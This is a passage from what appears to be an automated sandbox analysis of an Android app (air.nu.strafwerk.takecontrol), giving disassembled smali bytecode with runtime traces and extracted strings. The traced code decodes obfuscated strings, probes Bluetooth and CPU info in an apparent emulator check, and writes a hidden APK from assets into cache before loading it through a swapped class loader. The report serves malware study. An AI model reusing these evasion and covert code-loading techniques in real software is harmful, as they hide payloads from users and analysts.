                              70invoke-static {v0}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
                              71try_end_5d: move-result-object v0
                              72goto/16 :goto_2a
                              73catch_5f: move-exception v0
                              75invoke-virtual {v0}, Ljava/lang/ClassNotFoundException;->printStackTrace()V
                              76cond_63:
                              77invoke-static {v7}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
                              78move-result-object v0
                              79goto/16 :goto_2a
                              Cross References
                              APIs
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • android.os.Process.myPid
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.io.File.<init>
                              • java.io.File.canRead
                              • java.io.FileInputStream.<init>
                              • java.io.BufferedReader.readLine
                              • java.io.BufferedReader.close
                              • java.lang.String.trim
                              • java.lang.String.equals
                              • java.lang.String.trim
                              Strings
                              • /proc/
                              • /cmdline
                              • /proc/19055/cmdline
                              • air.nu.strafwerk.takecontrol
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v1, 0x0
                              3sget-object v0, Lcom/omg/android/tool/ProcessHelper;->_processName:Ljava/lang/String;
                              4if-nez v0, :cond_5d
                              5new-instance v0, Ljava/io/File;
                              6new-instance v2, Ljava/lang/StringBuilder;
                              8invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                              10const-string/jumbo v3, "/proc/"
                              12invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              13move-result-object v2
                              15invoke-static {}, Landroid/os/Process;->myPid()I
                              16move-result v3
                              18invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              19move-result-object v2
                              21const-string/jumbo v3, "/cmdline"
                              23invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              24move-result-object v2
                              26invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              27move-result-object v2
                              29invoke-direct {v0, v2}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                              • Time: 11382130185
                                • This:
                                  • /proc/19055/cmdline
                                • p0: /proc/19055/cmdline
                                • Return:
                                  • /proc/19055/cmdline
                              31invoke-virtual {v0}, Ljava/io/File;->canRead()Z
                              32move-result v2
                              33if-eqz v2, :cond_5b
                              34try_start_2f: new-instance v2, Ljava/io/FileInputStream;
                              36invoke-direct {v2, v0}, Ljava/io/FileInputStream;-><init>(Ljava/io/File;)V
                              38invoke-static {v2}, Lcom/omg/tool/IOManager;->reader(Ljava/io/InputStream;)Ljava/io/BufferedReader;
                              39move-result-object v0
                              41invoke-virtual {v0}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String;
                              • Time: 11382130192
                                • This:
                                  • java.io.BufferedReader@3670d1f5
                                • Return:
                                  • air.nu.strafwerk.takecontrol
                              42move-result-object v2
                              44invoke-virtual {v0}, Ljava/io/BufferedReader;->close()V
                              45if-eqz v2, :cond_55
                              47const-string/jumbo v0, ""
                              49invoke-virtual {v2}, Ljava/lang/String;->trim()Ljava/lang/String;
                              50move-result-object v3
                              52invoke-virtual {v0, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              53move-result v0
                              54if-nez v0, :cond_55
                              56invoke-virtual {v2}, Ljava/lang/String;->trim()Ljava/lang/String;
                              57move-result-object v0
                              58sput-object v0, Lcom/omg/android/tool/ProcessHelper;->_processName:Ljava/lang/String;
                              59goto_54: return-object v0
                              60cond_55: move-object v0, v1
                              61goto/16 :goto_54
                              62catch_57: move-exception v0
                              64invoke-static {v0}, Lcom/omg/tool/builds/ExceptionUtils;->handle(Ljava/lang/Exception;)V
                              65cond_5b: move-object v0, v1
                              66goto/16 :goto_54
                              67cond_5d:
                              68sget-object v0, Lcom/omg/android/tool/ProcessHelper;->_processName:Ljava/lang/String;
                              69goto/16 :goto_54
                              APIs
                              • java.lang.System.setProperty
                              • java.lang.String.equals
                              • java.lang.String.equalsIgnoreCase
                              • java.lang.Boolean.valueOf
                              • java.lang.Class.getClassLoader
                              • android.content.Context.getClassLoader
                              • java.lang.String.equalsIgnoreCase
                              • com.omgSdk.outport.LiveApplication.fastCoupleIn
                              Strings
                              • IsEncryption
                              • NicroRun
                              • false
                              • loadAttachContext
                              • true
                              • a
                              • NicroTestMode
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v0, 0x0
                              3const-string/jumbo v1, "IsEncryption"
                              5const-string/jumbo v2, "true"
                              7invoke-static {v1, v2}, Ljava/lang/System;->setProperty(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              9invoke-static {p1}, Lcom/omg/base/Config;->setConfig(Ljava/lang/String;)V
                              11invoke-static {p1}, Lsdk/nicro/lu/s;->a(Ljava/lang/String;)V
                              13invoke-static {p0}, Lcom/omg/base/Config;->current(Landroid/content/Context;)Lcom/omg/base/Config;
                              14move-result-object v1
                              16const-string/jumbo v2, "NicroRun"
                              18const-string/jumbo v3, "false"
                              20invoke-virtual {v1, v2, v3}, Lcom/omg/base/Config;->getValue(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              21move-result-object v1
                              23invoke-static {}, Lcom/omg/base/BaseSdk;->getInstance()Lcom/omg/base/BaseSdk$IBaseSdk;
                              24move-result-object v2
                              26invoke-interface {v2, p0, v0}, Lcom/omg/base/BaseSdk$IBaseSdk;->init(Landroid/content/Context;Lcom/omg/base/BaseSdk$OnInitCallBack;)V
                              28const-string/jumbo v2, "loadAttachContext"
                              30invoke-virtual {p2, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              31move-result v2
                              32if-eqz v2, :cond_60
                              34const-string/jumbo v2, "true"
                              36invoke-virtual {v1, v2}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
                              • Time: 11382130237
                                • This:
                                  • true
                                • p0: true
                                • Return:
                                  • true
                              37move-result v1
                              38if-eqz v1, :cond_55
                              39const-class v0, Lsdk/nicro/lu/SdkLauncher;
                              41const-string/jumbo v1, "a"
                              42const/4 v2, 0x1
                              44invoke-static {v2}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
                              45move-result-object v2
                              47invoke-static {v0, v1, v2}, Lsdk/nicro/lu/q;->a(Ljava/lang/Class;Ljava/lang/String;Ljava/lang/Object;)V
                              48const-class v0, Lsdk/nicro/lu/SdkBooter;
                              50invoke-virtual {v0}, Ljava/lang/Class;->getClassLoader()Ljava/lang/ClassLoader;
                              51move-result-object v0
                              53invoke-static {p0, v0}, Lsdk/nicro/lu/SdkLauncher;->a(Landroid/content/Context;Ljava/lang/ClassLoader;)Ljava/lang/ClassLoader;
                              54move-result-object v0
                              56invoke-virtual {p0}, Landroid/content/Context;->getClassLoader()Ljava/lang/ClassLoader;
                              57move-result-object v1
                              59invoke-static {v1, v0}, Lsdk/nicro/lu/q;->a(Ljava/lang/ClassLoader;Ljava/lang/ClassLoader;)Z
                              60cond_55:
                              61invoke-static {p0}, Lcom/sdk/entry/SdkEntry;->checkPingbi(Landroid/content/Context;)Z
                              62move-result v1
                              63if-eqz v1, :cond_5c
                              64goto_5b: return-void
                              65cond_5c:
                              66invoke-static {p0, v0}, Lcom/sdk/entry/SdkEntry;->loadAttachContext(Landroid/content/Context;Ljava/lang/ClassLoader;)V
                              67goto/16 :goto_5b
                              68cond_60:
                              69invoke-static {p0}, Lcom/sdk/entry/SdkEntry;->checkPingbi(Landroid/content/Context;)Z
                              70move-result v0
                              71if-nez v0, :cond_5b
                              73invoke-static {p0}, Lcom/omg/base/Config;->current(Landroid/content/Context;)Lcom/omg/base/Config;
                              74move-result-object v0
                              76const-string/jumbo v1, "NicroTestMode"
                              78const-string/jumbo v2, "false"
                              80invoke-virtual {v0, v1, v2}, Lcom/omg/base/Config;->getValue(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              81move-result-object v0
                              83const-string/jumbo v1, "true"
                              85invoke-virtual {v0, v1}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
                              86move-result v0
                              87if-eqz v0, :cond_83
                              89invoke-static {p1}, Lsdk/nicro/lu/s;->a(Ljava/lang/String;)V
                              91invoke-static {p0}, Lsdk/nicro/lu/SdkLauncher;->launch(Landroid/content/Context;)V
                              92cond_83:
                              93invoke-static {p0}, Lcom/sdk/entry/SdkEntry;->loadOnCreate(Landroid/content/Context;)V
                              95invoke-static {p0}, Lcom/omgSdk/outport/LiveApplication;->fastCoupleIn(Landroid/content/Context;)V
                              96goto/16 :goto_5b
                              Cross References
                              APIs
                              • java.lang.StringBuilder.<init>
                              • java.lang.Class.getPackage
                              • java.lang.Package.getName
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.Class.forName
                              • java.lang.Class.newInstance
                              • java.util.Map.put
                              Strings
                              • .
                              • Build
                              • com.omg.tool.builds.FileBuild
                              • com.omg.tool.builds.OmgSdkBuild
                              Position Instruction Meta Information
                              0.prologue
                              2invoke-static {p0}, Lcom/omg/tool/builds/Build;->a(Ljava/lang/String;)Lcom/omg/tool/builds/Build;
                              3move-result-object v0
                              4if-nez v0, :cond_44
                              5try_start_6:
                              6invoke-static {p0}, Lcom/omg/tool/builds/Build;->c(Ljava/lang/String;)Lcom/omg/tool/builds/Build;
                              7try_end_9: move-result-object v1
                              8if-nez v1, :cond_4a
                              9try_start_c: new-instance v0, Ljava/lang/StringBuilder;
                              11invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                              12const-class v2, Lcom/omg/tool/builds/Build;
                              14invoke-virtual {v2}, Ljava/lang/Class;->getPackage()Ljava/lang/Package;
                              15move-result-object v2
                              17invoke-virtual {v2}, Ljava/lang/Package;->getName()Ljava/lang/String;
                              18move-result-object v2
                              20invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              21move-result-object v0
                              23const-string/jumbo v2, "."
                              25invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              26move-result-object v0
                              28invoke-virtual {v0, p0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              29move-result-object v0
                              31const-string/jumbo v2, "Build"
                              33invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              34move-result-object v0
                              36invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              37move-result-object v0
                              39invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                              • Time: 11382129744
                                • p0: com.omg.tool.builds.OmgSdkBuild
                                • Return:
                                  • class com.omg.tool.builds.OmgSdkBuild
                                  • getName: com.omg.tool.builds.OmgSdkBuild
                              • Time: 11382129753
                                • p0: com.omg.tool.builds.FileBuild
                                • Return:
                                  • class com.omg.tool.builds.FileBuild
                                  • getName: com.omg.tool.builds.FileBuild
                              40move-result-object v0
                              42invoke-virtual {v0}, Ljava/lang/Class;->newInstance()Ljava/lang/Object;
                              43move-result-object v0
                              44check-cast v0, Lcom/omg/tool/builds/Build;
                              45try_start_3f:
                              46sget-object v1, Lcom/omg/tool/builds/Build;->b:Ljava/util/Map;
                              48invoke-interface {v1, p0, v0}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              49goto_44: return-object v0
                              50catch_45: move-exception v1
                              51goto/16 :goto_44
                              52catch_47: move-exception v0
                              53move-object v0, v1
                              54goto/16 :goto_44
                              55cond_4a: move-object v0, v1
                              56goto/16 :goto_3f
                              Cross References
                              APIs
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.io.File.separator:Ljava/lang/String
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • android.content.Context.getAssets
                              • android.content.res.AssetManager.open
                              • java.io.File.<init>
                              • java.io.FileOutputStream.<init>
                              • java.io.IOException.printStackTrace
                              Strings
                              • VirName
                              • lib
                              • /data/data/air.nu.strafwerk.takecontrol/cache/07f457cd737b20bb7c8673ca1c8f0470.apk
                              Position Instruction Meta Information
                              0.prologue
                              1try_start_0:
                              2invoke-static {p2}, Lcom/omg/base/Config;->current(Landroid/content/Context;)Lcom/omg/base/Config;
                              3move-result-object v0
                              5const-string/jumbo v1, "VirName"
                              7const-string/jumbo v2, ""
                              9invoke-virtual {v0, v1, v2}, Lcom/omg/base/Config;->getValue(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              10move-result-object v0
                              11new-instance v1, Ljava/lang/StringBuilder;
                              13invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                              15const-string/jumbo v2, "lib"
                              17invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              18move-result-object v1
                              20sget-object v2, Ljava/io/File;->separator:Ljava/lang/String;
                              22invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              23move-result-object v1
                              25invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              26move-result-object v0
                              28invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              29move-result-object v0
                              31invoke-virtual {p2}, Landroid/content/Context;->getAssets()Landroid/content/res/AssetManager;
                              32move-result-object v1
                              34invoke-virtual {v1, v0}, Landroid/content/res/AssetManager;->open(Ljava/lang/String;)Ljava/io/InputStream;
                              35move-result-object v0
                              36new-instance v1, Ljava/io/File;
                              38invoke-direct {v1, p1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                              • Time: 11382136339
                                • This:
                                  • /data/data/air.nu.strafwerk.takecontrol/cache/07f457cd737b20bb7c8673ca1c8f0470.apk
                                • p0: /data/data/air.nu.strafwerk.takecontrol/cache/07f457cd737b20bb7c8673ca1c8f0470.apk
                                • Return:
                                  • /data/data/air.nu.strafwerk.takecontrol/cache/07f457cd737b20bb7c8673ca1c8f0470.apk
                              39new-instance v2, Ljava/io/FileOutputStream;
                              41invoke-direct {v2, v1}, Ljava/io/FileOutputStream;-><init>(Ljava/io/File;)V
                              • Time: 11382136347
                                • This:
                                  • java.io.FileOutputStream@298640ab
                                • p0: /data/data/air.nu.strafwerk.takecontrol/cache/07f457cd737b20bb7c8673ca1c8f0470.apk
                                • Return:
                                  • java.io.FileOutputStream@298640ab
                              43invoke-direct {p0, v0, v2}, Lcom/sdk/entry/TrackBook;->writeFile(Ljava/io/InputStream;Ljava/io/OutputStream;)V
                              44goto_3d: return-void
                              45catch_3e: move-exception v0
                              47invoke-virtual {v0}, Ljava/io/IOException;->printStackTrace()V
                              48goto/16 :goto_3d
                              Cross References
                              APIs
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.String.hashCode
                              • java.lang.Math.abs
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              Strings
                              • air.nu.strafwerk.takecontrol
                              • android.app.ActivityThread
                              Position Instruction Meta Information
                              0.prologue
                              1new-instance v0, Ljava/lang/StringBuilder;
                              3invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                              4new-instance v1, Ljava/lang/StringBuilder;
                              6invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                              8invoke-virtual {v1, p0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              9move-result-object v1
                              10new-instance v2, Lcom/cultivate/fairly/Incredible;
                              12invoke-direct {v2}, Lcom/cultivate/fairly/Incredible;-><init>()V
                              14invoke-virtual {v2}, Lcom/cultivate/fairly/Incredible;->awful()Ljava/lang/String;
                              • Time: 11381984251
                                • p0: android.app.ActivityThread
                                • Return:
                                  • class android.app.ActivityThread
                                  • getName: android.app.ActivityThread
                              • Time: 11381984266
                                • This:
                                  • com.cultivate.fairly.Incredible@23538c74
                                • Return:
                                  • air.nu.strafwerk.takecontrol
                              15move-result-object v2
                              17invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              18move-result-object v1
                              20invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              21move-result-object v1
                              23invoke-virtual {v1}, Ljava/lang/String;->hashCode()I
                              24move-result v1
                              26invoke-static {v1}, Ljava/lang/Math;->abs(I)I
                              27move-result v1
                              29invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              30move-result-object v0
                              32invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              33move-result-object v0
                              35invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              36move-result-object v0
                              37return-object v0
                              Cross References
                              APIs
                              • android.content.Context.getClassLoader
                              • java.lang.ClassLoader.loadClass
                              • java.lang.ClassNotFoundException.printStackTrace
                              Strings
                              • PjE7LTA2O3E9Myo6KzAwKzdxHTMqOiswMCs3Hjs+Lys6LQ==
                              • android.bluetooth.BluetoothAdapter
                              • ODorGzo5PiozKx47Pi8rOi0=
                              • getDefaultAdapter
                              • ODorET4yOg==
                              • getName
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v6, 0x1
                              2const/4 v7, 0x0
                              3try_start_2:
                              4invoke-virtual {p1}, Landroid/content/Context;->getClassLoader()Ljava/lang/ClassLoader;
                              5move-result-object v0
                              7const-string v1, "PjE7LTA2O3E9Myo6KzAwKzdxHTMqOiswMCs3Hjs+Lys6LQ=="
                              9invoke-static {v1}, Lcom/moor/fight/Perch;->confident(Ljava/lang/String;)Ljava/lang/String;
                              • Time: 11381982828
                                • This:
                                  • android.bluetooth.BluetoothAdapter
                                • p0: [C@9fd2bea
                                • p0: android.bluetooth.BluetoothAdapter
                                • Return:
                                  • android.bluetooth.BluetoothAdapter
                              • Time: 11381983808
                                • p0: PjE7LTA2O3E9Myo6KzAwKzdxHTMqOiswMCs3Hjs+Lys6LQ==
                                • Return:
                                  • android.bluetooth.BluetoothAdapter
                              10move-result-object v1
                              12invoke-virtual {v0, v1}, Ljava/lang/ClassLoader;->loadClass(Ljava/lang/String;)Ljava/lang/Class;
                              13move-result-object v1
                              14const/4 v2, 0x0
                              16const-string v0, "ODorGzo5PiozKx47Pi8rOi0="
                              18invoke-static {v0}, Lcom/moor/fight/Perch;->confident(Ljava/lang/String;)Ljava/lang/String;
                              • Time: 11381983813
                                • This:
                                  • getDefaultAdapter
                                • p0: [C@14860c51
                                • p0: getDefaultAdapter
                                • Return:
                                  • getDefaultAdapter
                              • Time: 11381983817
                                • p0: ODorGzo5PiozKx47Pi8rOi0=
                                • Return:
                                  • getDefaultAdapter
                              19move-result-object v3
                              20const/4 v4, 0x0
                              21const/4 v0, 0x0
                              22new-array v5, v0, [Ljava/lang/Object;
                              23move-object v0, p0
                              25invoke-virtual/range {v0 .. v5}, Lcom/inasmuch/trample/Fly;->mountainous(Ljava/lang/Class;Ljava/lang/Object;Ljava/lang/String;[Ljava/lang/Class;[Ljava/lang/Object;)Ljava/lang/Object;
                              26move-result-object v2
                              27if-nez v2, :cond_24
                              28move v0, v6
                              29goto_23: return v0
                              30cond_24:
                              31const-string v0, "ODorET4yOg=="
                              33invoke-static {v0}, Lcom/moor/fight/Perch;->confident(Ljava/lang/String;)Ljava/lang/String;
                              • Time: 11381983844
                                • This:
                                  • getName
                                • p0: [C@330ee390
                                • p0: getName
                                • Return:
                                  • getName
                              • Time: 11381983848
                                • p0: ODorET4yOg==
                                • Return:
                                  • getName
                              34move-result-object v3
                              35const/4 v4, 0x0
                              36const/4 v0, 0x0
                              37new-array v5, v0, [Ljava/lang/Object;
                              38move-object v0, p0
                              40invoke-virtual/range {v0 .. v5}, Lcom/inasmuch/trample/Fly;->mountainous(Ljava/lang/Class;Ljava/lang/Object;Ljava/lang/String;[Ljava/lang/Class;[Ljava/lang/Object;)Ljava/lang/Object;
                              41try_end_32: move-result-object v0
                              42if-nez v0, :cond_3b
                              43move v0, v6
                              44goto/16 :goto_23
                              45catch_37: move-exception v0
                              47invoke-virtual {v0}, Ljava/lang/ClassNotFoundException;->printStackTrace()V
                              48cond_3b: move v0, v7
                              49goto/16 :goto_23
                              Cross References
                              APIs
                              • java.io.FileReader.<init>
                              • java.io.BufferedReader.<init>
                              • java.io.BufferedReader.readLine
                              • java.lang.String.split
                              • java.lang.Integer.valueOf
                              • java.lang.Integer.intValue
                              • java.io.BufferedReader.close
                              Strings
                              • /proc/meminfo
                              • MemTotal: 919924 kB
                              • \\s+
                              Position Instruction Meta Information
                              0.prologue
                              2const-string/jumbo v1, "/proc/meminfo"
                              3const/4 v0, 0x0
                              4try_start_4: new-instance v2, Ljava/io/FileReader;
                              6invoke-direct {v2, v1}, Ljava/io/FileReader;-><init>(Ljava/lang/String;)V
                              • Time: 11382130111
                                • This:
                                  • java.io.FileReader@c2dcdc9
                                • p0: /proc/meminfo
                                • Return:
                                  • java.io.FileReader@c2dcdc9
                              7new-instance v1, Ljava/io/BufferedReader;
                              8const/16 v3, 0x2000
                              10invoke-direct {v1, v2, v3}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;I)V
                              12invoke-virtual {v1}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String;
                              • Time: 11382130119
                                • This:
                                  • java.io.BufferedReader@2ba267ef
                                • Return:
                                  • MemTotal: 919924 kB
                              13move-result-object v2
                              15const-string/jumbo v3, "\\s+"
                              17invoke-virtual {v2, v3}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
                              18move-result-object v2
                              19const/4 v3, 0x1
                              20aget-object v2, v2, v3
                              22invoke-static {v2}, Ljava/lang/Integer;->valueOf(Ljava/lang/String;)Ljava/lang/Integer;
                              23move-result-object v2
                              25invoke-virtual {v2}, Ljava/lang/Integer;->intValue()I
                              26move-result v2
                              27div-int/lit16 v0, v2, 0x400
                              29invoke-virtual {v1}, Ljava/io/BufferedReader;->close()V
                              30goto_2b: return v0
                              31catch_2c: move-exception v1
                              32goto/16 :goto_2b
                              Cross References
                              APIs
                              • java.lang.String.contains
                              • java.lang.String.contains
                              Strings
                              • processor: 0model name: armv7 processor rev 0 (v7l)bogomips: 38.40features: swp half thumb fastmult vfp edsp neon vfpv3 tls vfpv4 idiva idivt vfpd32 cpu implementer: 0x41cpu architecture: 7cpu variant: 0x0cpu part: 0xd03cpu revision: 0processor: 1model name: armv7 processor rev 0 (v7l)bogomips: 38.40features: swp half thumb fastmult vfp edsp neon vfpv3 tls vfpv4 idiva idivt vfpd32 cpu implementer: 0x41cpu architecture: 7cpu variant: 0x0cpu part: 0xd03cpu revision: 0processor: 2model name: armv7 processor rev 0 (v7l)bogomips: 38.40features: swp half thumb fastmult vfp edsp neon vfpv3 tls vfpv4 idiva idivt vfpd32 cpu implementer: 0x41cpu architecture: 7cpu variant: 0x0cpu part: 0xd03cpu revision: 0processor: 3model name: armv7 processor rev 0 (v7l)bogomips: 38.40features: swp half thumb fastmult vfp edsp neon vfpv3 tls vfpv4 idiva idivt vfpd32 cpu implementer: 0x41cpu architecture: 7cpu variant: 0x0cpu part: 0xd03cpu revision: 0hardware: qualcomm technologies, inc msm8916revision: 82b0serial: e1c22d0d00000000processor: armv7 processor rev 0 (v7l)device: ospreyradio: 4msm hardware: msm8916
                              • NjErOjM=
                              • intel
                              • PjI7
                              • amd
                              Position Instruction Meta Information
                              0.prologue
                              2invoke-static {}, Lcom/inasmuch/trample/Fly;->deceive()Ljava/lang/String;
                              • Time: 11381984201
                                • Return:
                                  • processor: 0model name: armv7 processor rev 0 (v7l)bogomips: 38.40features: swp half thumb fastmult vfp edsp neon vfpv3 tls vfpv4 idiva idivt vfpd32 cpu implementer: 0x41cpu architecture: 7cpu variant: 0x0cpu part: 0xd03cpu revision: 0processor: 1model name: armv7 processor rev 0 (v7l)bogomips: 38.40features: swp half thumb fastmult vfp edsp neon vfpv3 tls vfpv4 idiva idivt vfpd32 cpu implementer: 0x41cpu architecture: 7cpu variant: 0x0cpu part: 0xd03cpu revision: 0processor: 2model name: armv7 processor rev 0 (v7l)bogomips: 38.40features: swp half thumb fastmult vfp edsp neon vfpv3 tls vfpv4 idiva idivt vfpd32 cpu implementer: 0x41cpu architecture: 7cpu variant: 0x0cpu part: 0xd03cpu revision: 0processor: 3model name: armv7 processor rev 0 (v7l)bogomips: 38.40features: swp half thumb fastmult vfp edsp neon vfpv3 tls vfpv4 idiva idivt vfpd32 cpu implementer: 0x41cpu architecture: 7cpu variant: 0x0cpu part: 0xd03cpu revision: 0hardware: qualcomm technologies, inc msm8916revisio
                              3move-result-object v0
                              5const-string v1, "NjErOjM="
                              7invoke-static {v1}, Lcom/moor/fight/Perch;->confident(Ljava/lang/String;)Ljava/lang/String;
                              • Time: 11381984207
                                • This:
                                  • intel
                                • p0: [C@3464ccf1
                                • p0: intel
                                • Return:
                                  • intel
                              • Time: 11381984211
                                • p0: NjErOjM=
                                • Return:
                                  • intel
                              8move-result-object v1
                              10invoke-virtual {v0, v1}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                              11move-result v1
                              12if-nez v1, :cond_1c
                              14const-string v1, "PjI7"
                              16invoke-static {v1}, Lcom/moor/fight/Perch;->confident(Ljava/lang/String;)Ljava/lang/String;
                              • Time: 11381984215
                                • This:
                                  • amd
                                • p0: [C@a770a44
                                • p0: amd
                                • Return:
                                  • amd
                              • Time: 11381984221
                                • p0: PjI7
                                • Return:
                                  • amd
                              17move-result-object v1
                              19invoke-virtual {v0, v1}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                              20move-result v0
                              21if-eqz v0, :cond_1e
                              22cond_1c: const/4 v0, 0x1
                              23goto_1d: return v0
                              24cond_1e: const/4 v0, 0x0
                              25goto/16 :goto_1d
                              Cross References
                              APIs
                              • java.lang.String.<init>
                              • java.lang.String.trim
                              • java.lang.String.startsWith
                              • java.lang.String.getBytes
                              • java.lang.String.<init>
                              Strings
                              • utf-8
                              • {
                              • cfgg_nfc
                              • {}
                              Position Instruction Meta Information
                              0.prologue
                              2invoke-static {p1}, Lsdk/nicro/lu/i;->c(Ljava/io/InputStream;)[B
                              3move-result-object v1
                              4new-instance v0, Ljava/lang/String;
                              6const-string/jumbo v2, "utf-8"
                              8invoke-direct {v0, v1, v2}, Ljava/lang/String;-><init>([BLjava/lang/String;)V
                              • Time: 11382130300
                                • This:
                                  • bc)G/vGOk+Q$t:}*U:KJG\<I&tYKr=;]v8e73<h02K.Q95psKR4FyGJup3O6i~|$>/Vg)pHd{u+YxZ6AoB:Lq&('4i{.p'f3DuzEopv1>`kULL+h-u^5t2)}Z>xf9_7L?9},DT:!\Lfgl_O&2)WZ~M5EB}'r#\.2]]-z^9{ v'-U='dpB!/Rt\m}]/m2Q_my|vGmf:1E4^EQZ}u[C533Mg-<oV03~S
                                • p0: [B@313fe3c7
                                • p0: bc)G/vGOk+Q$t:}*U:KJG\<I&tYKr=;]v8e73<h02K.Q95psKR4FyGJup3O6i~|$>/Vg)pHd{u+YxZ6AoB:Lq&('4i{.p'f3Duzopv1>`kULL+h-u^5t2)}Z>xf9_7L?9},DT:!\Lfgl_O&2)WZ~M5EB}'r#\.2]]-z^9{ v'-U='dpB!/Rt\m}]/2Q_my|vG
                                • p0: ACA5F1626329472FD3E9EFD2C5CD761BF4CA47DC4F1CE9E016BC6B1D2B51D88BD9248474173A7D1E2A55DF1ABD01E49F80DA8FE83A064BF3874A479F5C3C49267410594B723D3B5D92C97638C8E2659B370CA5F01E33E03C683032D2964BAA2E9651819E023903E0B13570F114F4B0731A4B9B52347F468F03AB79474AB3B6759E13B970334F16E9FF880936C2697EA8DC7CB8F024BDF13ED4F8BB2F1D8056D06729E5D570C7486489957B752B5978825AD03609F2AB41CE6FEFE4BE82EBA7CC0B423A4C71D02628AA0227D03413BC17ABCE1B697BC5DFBF2E70279E6633A7A9D1D6E6441F757ABACFC1851F6FC4CDC681DDBC700EF3768504FF3100A73E606BF8105580EAE218DFE79FDF9D4C8FDA99E64CB1B7E22B68DC2DD775CEDDF25EA6358DD274DA32CE96C1100F0AF629B0D07D815ABCC53E786639B25F3719C0FE4CB1150BFA3F3989157D08CCFBB2982CC5E4448E9FEB54B6033A215C7FE94CA9EBFE9D1566F505676C5FA7904FBD9426F4EE32AB1229571AEC805AF4A40CC7E88F7E4D35A64542F97D277223115CC02E11EC0632995DC7935D85CCC7C88D969587B181BAAD9D9A2DAAF27A19BB5E87CDD0397B2076272D55AC3D27D6E4FFFCEB1F85DB64D1C206709FECEB42AA0021B72F17527496EDD18E5CDE9B6D96DD7DA4FF5D932FF81688C1ADBF32AA8217F28A511F5FE8F9FCDC6D79970816197C76168D
                                • p1: utf-8
                                • Return:
